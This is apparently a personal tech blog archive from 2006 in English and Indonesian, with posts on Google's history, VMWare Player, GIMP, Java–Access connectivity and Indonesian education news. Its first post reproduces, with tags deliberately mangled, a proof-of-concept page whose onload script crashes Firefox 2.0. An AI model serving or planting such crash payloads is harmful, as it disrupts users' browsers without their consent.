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FireFox 2.0

Taken from: http://security-protocols.com/poc/ff2_death.html (don't open using FireFox 2.0 - Don't tell that I didn't warn you).

Just released and already had a bug? Although this can "only" crash FireFox 2.0, it's still dangerous I thought.

Well, here's the code:

<_script type="text/javascript">
  function do_crash()
  {
   var range;
   range = document.createRange();
   range.selectNode(document.firstChild);
   range.createContextualFragment('<_span_><_/span_>');
  }
 <_/script_>
<_/head_>
<_body onload="do_crash()">
 <_p_>Good bye Firefox!<_/p_>

ps: replace <_ with < and _> with >

Take your own risk dude!

About Google

Wow, it's been such a long time since my last post. That's because I take a leave from my work at a remote village in Sumatra (about 4-5 hours from Medan), and have some fun in Depok, I almost get bored here =(

But pretty funny huh? People always leave big city and have their holidays in a village (or some kind of a remote and quiet place), but I did a quite different thing, hehehe...

What's the relation of my holiday with Google? Hehehe... In Depok I went to Gramedia and buy several books, and one of those is a book titled "Kisah Sukses Google" (written by David Vise - Pulitzer Prize winner).

I just read some chapters but has felt excited already. It's encouraing reading books about successful people, like Sergey Brin and Larry Page (Google guys). They've beacome rich men while they're still young.

When I saw this book, I immediately bought it, coz I need to learn what makes them (Google guys) success.

Well, here several facts that I've collected while reading the book:
- They're real hardworkers (they always work to their bone, always sleep late at night)
- They don't afraid of being failed. The only way to be success is by undergoing failures.
- They're energitic, searching for oppotunities in everything they learned (have a good sense in business)

There were things I've learned from the book (hey, don't ask to much, I just read few chapters... hehehe)

Oia, I also want to share several facts that I got regarding this Google guys:
- There is another person beside Sergey Brin and Larry Page who brings Google ot its top, that is CEO Eric Scmidt that chief Google daily business
- Google used to be named BackRub but soon they changed it in 1997
- Google was a mispelled from Googolplex (a name suggested by Sean Anderson) which means a very big amount of numbers, but Larry felt okay with that name (Google).
- Google core technology (PageRank) was offered to several search engine website (Altavista, Yahoo, Excita) but none is interested, but David Filo (Yahoo!) suggested Brin and Page to build their own company
- Bechtolsheim (the one who also help built Sun Microsystem) gave fund to help Brin and Page building their company
- Larry's parents were lecturer of Computer Programming in Michigan State University
- Brin father was a proffesor of Mathematics
- They both (Larry and Brin) are very good in Mathematics and Computers (testimonials from their Lecturers)

Well, that's all I can share now. After continuing my reading, I'll write it again.

Laguboti, August 25, 2006.

Koneksi Java - MS Access

Gak hanya bisa pakek JDBC, pake Jackcess juga bisa. Kalo mo donlot library bisa langsung klik link ini (dari mirror yang di Australia). Di halaman utama udah disediain sample code-nya juga. Dari FAQ katanya bisa untuk GNU/Linux, penasaran coba dulu ah (tapi ngapain juga pakek Access di GNU/Linux ya? Heheheh)

FireFox 2.0 Beta 1

Monggo di sedot di http://www.mozilla.org/projects/bonecho/releases/2.0b1.html

NET2Java

I haven't tested this tool, but I gladly spread the information about this tool that can translate .NET application into Java.

Interested?

You can read about the news here:
- http://blogs.sun.com/roller/page/dannycoward?entry=net2java_extreme_makeovers_for_net

And download from:
- https://net2java.dev.java.net/GettingStarted.html

Have fun =)

Suse 10 on VMWare Player

Wow, akhirnya berhasil juga menjalankan Suse 10 di VMWare player. Belum sempat ngoprek-ngoprek, baru nginstall JDK 1.5 en rencananya mau nginstall NetBeans juga.

Memory size-nya diset 128 MB, alhasil Windows XP saya jadi des lemote.

Ada yang punya tutorial Suse 10?

Gagal ikut lomba karena Visa?

Baru baca di detik.com berita mengenai 6 siswa yang gagal berangkat mengikuti Olimpiade Matematika di Slovenia. Dan yang lebih menyedihkan, mereka gagal berangkat bukan karena tidak persiapan, tapi karena Depdiknas lalai mengurus visa mereka.

Waduh, piye toh? Padahal siswa-siswa tersebut sudah mengikuti pelatihan selama 8 bulan, masa' hanya karena visa tidak jadi berangkat?

Saya kecewa sekali membaca berita ini. Semoga kejadian seperti ini tidak terulang lagi.

ps: Saya coba-coba browse di forum pendidikan tapi belum ada diskusi mengenai persoalan ini.

GIMP

Bagi yang suka desain grafis tapi gak "kuat" untuk beli Photoshop silahkan coba GIMP untuk Windows, dapat didownload dari http://gimp-win.sourceforge.net/. Tutorialnya silahkan lihat di http://www..gimpguru.org atau dari http://www.gimp.org/tutorials/

Semoga berguna...

VMWare Player

Saya (sampai saat ini) memiliki prinsip untuk tidak menggunakan software bajakan, alhasil semua software yang ada di komputer saya terbagi atas tiga kategori: software berlisensi (yang dibeli oleh kantor), software shareware (yang tidak dicrack, tapi dengan kemampuan yang terbatas, tapi sudah mencukupi), dan software freeware.

Saya juga termasuk orang yang gemar mencoba berbagai macam sistem operasi, tapi berhubung agak males untuk sering mempartisi harddisk, maka saya berinisiatif untuk menggunakan semacam software Virtual PC.

Yang pertama saya coba adalah MS Virtual PC (2004 - original), tapi gak pernah berhasil nginstall GNU/Linux. Jadi saya mutusin untuk mencari software lain. Dan akhirnya, saya memutuskan untuk menggunakan VMWare, tapi harganya itu loh, gak tahan... Tapi beruntung juga karena ternyata produsennya menyediakan VMWare Player (freeware), yang hanya bisa menjalankan VMWare image tapi tidak bisa membuat VMWare image.

Kalau tidak bisa membuat VMWare image, lalu gimana kita mau "nginstall" dan menjalankan sistem operasi yang mau kita coba? Caranya mudah, browse aja image di http://www.vmware.com/vmtn/appliances/ en cari sistem operasi yang mau dicoba.

Sistem Operasi yang pertama kali saya coba adalah Minix 3.1.1 (berbasis console) dan berhasil dengan lancar (tapi fiturnya minim banget euy, gak ada gcc, lynx, ssh, ampun dah, masa harus download en nginstall lagi...). Baru kemudian, saya download FreeBSD, tapi ketika coba jalankan, gak bisa euy, memory-nya kurang, padahal memory komputer saya 256 MB. Ada yang tahu gimana "tweaking" VMWare Player supaya bisa menjalankan Sistem Operasi yang membutuhkan memory yang besar? Penasaran nih...

Laguboti, 08 Juli 2006

Kubuntu CDs

Interested in trying Kubuntu? Request a copy here.

Fool

Hey you, don't you have any urgent agenda to be solved? Can't you see what's the core of problems on education in Indonesia?

This is almost the same with situation in a country, where the citizens had problems to obtain food, but the government obliged their citizens to cut their hair neatly. What a shame...

Uprising

Hmmm... after neglecting this blog for about 2 months, I have a new spirit to update this blog routinely, beside, this new skin (template) has given a bright view on my blog (that gives me another spirit :D)

I'm still confused about how to distribute my writings on my blogs (yep, I have more than five blogs), maybe I'll write only about Math, Computer, and IT here... But most of it, what I need is to be more routine on writing posts. Hopefully I can write posts regularly.

Ok then, viva blogger!

Geek Joke

- Why do programmers always get Christmas and Halloween mixed up?
- Because DEC 25 = OCT 31

New Blog (Again!)

Recently, I rarely create a post here, coz it's so slow...
So I create my blog on my "local host" which is available via Internet.

You can access it here.